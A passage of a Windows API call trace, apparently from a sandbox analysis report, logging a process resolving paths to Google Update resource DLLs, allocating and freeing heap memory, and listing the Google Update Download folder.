(x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fa.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fa.dll", lpFilePart=0x9bada4*="goopdateres_fa.dll") returned 0x41 [0220.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0220.148] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fi.dll", lpFilePart=0x9bada4*="goopdateres_fi.dll") returned 0x41 [0220.148] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fil.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fil.dll", lpFilePart=0x9bada4*="goopdateres_fil.dll") returned 0x42 [0220.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0220.148] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fr.dll", lpFilePart=0x9bada4*="goopdateres_fr.dll") returned 0x41 [0220.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0220.148] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_gu.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_gu.dll", lpFilePart=0x9bada4*="goopdateres_gu.dll") returned 0x41 [0220.149] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_hi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_hi.dll", lpFilePart=0x9bada4*="goopdateres_hi.dll") returned 0x41 [0220.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0220.149] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_hr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_hr.dll", lpFilePart=0x9bada4*="goopdateres_hr.dll") returned 0x41 [0220.149] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_hu.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_hu.dll", lpFilePart=0x9bada4*="goopdateres_hu.dll") returned 0x41 [0220.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0220.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0220.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0220.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0220.150] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_id.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_id.dll", lpFilePart=0x9bada4*="goopdateres_id.dll") returned 0x41 [0220.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0220.150] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_is.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_is.dll", lpFilePart=0x9bada4*="goopdateres_is.dll") returned 0x41 [0220.150] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_it.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_it.dll", lpFilePart=0x9bada4*="goopdateres_it.dll") returned 0x41 [0220.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0220.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0220.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0220.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0220.151] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_iw.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_iw.dll", lpFilePart=0x9bada4*="goopdateres_iw.dll") returned 0x41 [0220.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0220.151] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ja.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ja.dll", lpFilePart=0x9bada4*="goopdateres_ja.dll") returned 0x41 [0220.151] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_kn.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_kn.dll", lpFilePart=0x9bada4*="goopdateres_kn.dll") returned 0x41 [0220.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0220.151] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ko.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ko.dll", lpFilePart=0x9bada4*="goopdateres_ko.dll") returned 0x41 [0220.152] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_lt.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_lt.dll", lpFilePart=0x9bada4*="goopdateres_lt.dll") returned 0x41 [0220.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0220.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0220.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0220.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0220.152] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_lv.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_lv.dll", lpFilePart=0x9bada4*="goopdateres_lv.dll") returned 0x41 [0220.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0220.152] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ml.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ml.dll", lpFilePart=0x9bada4*="goopdateres_ml.dll") returned 0x41 [0220.153] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_mr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_mr.dll", lpFilePart=0x9bada4*="goopdateres_mr.dll") returned 0x41 [0220.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0220.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0220.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0220.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0220.153] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ms.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ms.dll", lpFilePart=0x9bada4*="goopdateres_ms.dll") returned 0x41 [0220.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0220.153] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_nl.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_nl.dll", lpFilePart=0x9bada4*="goopdateres_nl.dll") returned 0x41 [0220.154] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_no.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_no.dll", lpFilePart=0x9bada4*="goopdateres_no.dll") returned 0x41 [0220.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0220.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0220.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0220.154] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_pl.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_pl.dll", lpFilePart=0x9bada4*="goopdateres_pl.dll") returned 0x41 [0220.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0220.154] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_pt-BR.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_pt-BR.dll", lpFilePart=0x9bada4*="goopdateres_pt-BR.dll") returned 0x44 [0220.154] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_pt-PT.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_pt-PT.dll", lpFilePart=0x9bada4*="goopdateres_pt-PT.dll") returned 0x44 [0220.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0220.155] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ro.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ro.dll", lpFilePart=0x9bada4*="goopdateres_ro.dll") returned 0x41 [0220.155] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ru.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ru.dll", lpFilePart=0x9bada4*="goopdateres_ru.dll") returned 0x41 [0220.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0220.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0220.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0220.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0220.155] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sk.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sk.dll", lpFilePart=0x9bada4*="goopdateres_sk.dll") returned 0x41 [0220.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0220.156] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sl.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sl.dll", lpFilePart=0x9bada4*="goopdateres_sl.dll") returned 0x41 [0220.156] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sr.dll", lpFilePart=0x9bada4*="goopdateres_sr.dll") returned 0x41 [0220.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0220.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0220.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0220.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0220.157] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sv.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sv.dll", lpFilePart=0x9bada4*="goopdateres_sv.dll") returned 0x41 [0220.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0220.157] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sw.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sw.dll", lpFilePart=0x9bada4*="goopdateres_sw.dll") returned 0x41 [0220.157] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ta.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ta.dll", lpFilePart=0x9bada4*="goopdateres_ta.dll") returned 0x41 [0220.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0220.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0220.181] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_te.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_te.dll", lpFilePart=0x9bada4*="goopdateres_te.dll") returned 0x41 [0220.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0220.181] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_th.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_th.dll", lpFilePart=0x9bada4*="goopdateres_th.dll") returned 0x41 [0220.181] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_tr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_tr.dll", lpFilePart=0x9bada4*="goopdateres_tr.dll") returned 0x41 [0220.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0220.182] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_uk.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_uk.dll", lpFilePart=0x9bada4*="goopdateres_uk.dll") returned 0x41 [0220.182] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ur.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ur.dll", lpFilePart=0x9bada4*="goopdateres_ur.dll") returned 0x41 [0220.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0220.182] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0220.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0220.182] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0220.182] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_vi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_vi.dll", lpFilePart=0x9bada4*="goopdateres_vi.dll") returned 0x41 [0220.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0220.183] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_zh-CN.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_zh-CN.dll", lpFilePart=0x9bada4*="goopdateres_zh-CN.dll") returned 0x44 [0220.183] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_zh-TW.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_zh-TW.dll", lpFilePart=0x9bada4*="goopdateres_zh-TW.dll") returned 0x44 [0220.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0220.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0220.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0220.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0220.183] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\npGoogleUpdate3.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\npGoogleUpdate3.dll", lpFilePart=0x9bada4*="npGoogleUpdate3.dll") returned 0x42 [0220.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0220.184] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psmachine.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psmachine.dll", lpFilePart=0x9bada4*="psmachine.dll") returned 0x3c [0220.184] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psmachine_64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psmachine_64.dll", lpFilePart=0x9bada4*="psmachine_64.dll") returned 0x3f [0220.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0220.184] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psuser.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psuser.dll", lpFilePart=0x9bada4*="psuser.dll") returned 0x39 [0220.184] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psuser_64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psuser_64.dll", lpFilePart=0x9bada4*="psuser_64.dll") returned 0x3c [0220.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0220.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0220.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0220.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0220.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c375e8 | out: hHeap=0x2ad0000) returned 1 [0220.185] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0220.185] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0220.186] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 1 [0220.186] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 0 [0220.186] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0220.186] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}" (normalized: "c:\\program files (x86)\\google\\update2\\download\\{8a69d345-d564-463c-aff1-a69d9e530f96}")) returned 0x10 [0220.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0220.187] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0220.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374c0 | out: hHeap=0x2ad0000) returned 1 [0220.187] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0220.188] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, 